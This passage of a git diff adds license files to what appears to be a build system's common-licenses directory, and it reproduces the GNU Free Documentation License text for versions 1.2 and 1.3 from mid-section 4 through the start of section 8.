+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-or-later b/meta/files/common-licenses/GFDL-1.2-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-invariants-only b/meta/files/common-licenses/GFDL-1.3-invariants-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-invariants-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
